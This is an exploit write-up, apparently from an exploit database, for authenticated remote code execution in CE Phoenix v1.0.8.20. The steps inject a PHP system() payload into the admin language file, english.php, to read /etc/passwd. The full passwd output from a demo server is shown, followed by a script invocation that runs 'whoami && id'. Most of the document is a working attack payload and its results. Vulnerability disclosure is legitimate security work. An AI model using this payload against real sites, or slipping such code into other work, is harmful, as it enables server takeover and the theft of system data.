Exploit Title: CE Phoenix v1.0.8.20 - Remote Code Execution (RCE) (Authenticated)

Date: 2023-11-25

Exploit Author: tmrswrr

Category: Webapps

Vendor Homepage: CE Phoenix

Version: v1.0.8.20

Tested on: Softaculous Demo - CE Phoenix

POC:

1. Login to admin panel:

   • Visit: https://demos6.softaculous.com/CE_Phoenixvkqhcarjmw/admin/define_language.php?lngdir=english

2. Access english.php:

   • Click on english.php and inject the payload:

   <?php echo system('cat /etc/passwd'); ?>
   

3. Save Changes:

   • Save the modified file.

4. View Results:

   • Visit the main page: https://demos6.softaculous.com/CE_Phoenixvkqhcarjmw/
   • You will see the following result:

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:998:997:User for polkitd:/:/sbin/nologin tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin chrony:x:997:995::/var/lib/chrony:/sbin/nologin soft:x:1000:1000::/home/soft:/sbin/nologin saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin emps:x:995:1001::/home/emps:/bin/bash named:x:25:25:Named:/var/named:/sbin/nologin exim:x:93:93::/var/spool/exim:/sbin/nologin vmail:x:5000:5000::/var/local/vmail:/bin/bash mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false webuzo:x:993:993::/home/webuzo:/bin/bash apache:x:992:991::/home/apache:/sbin/nologin apache:x:992:991::/home/apache:/sbin/nologin

Exploit :

python3 phoenix.py https://demos6.softaculous.com/CE_Phoenixb619pdusey admin pass "whoami && id"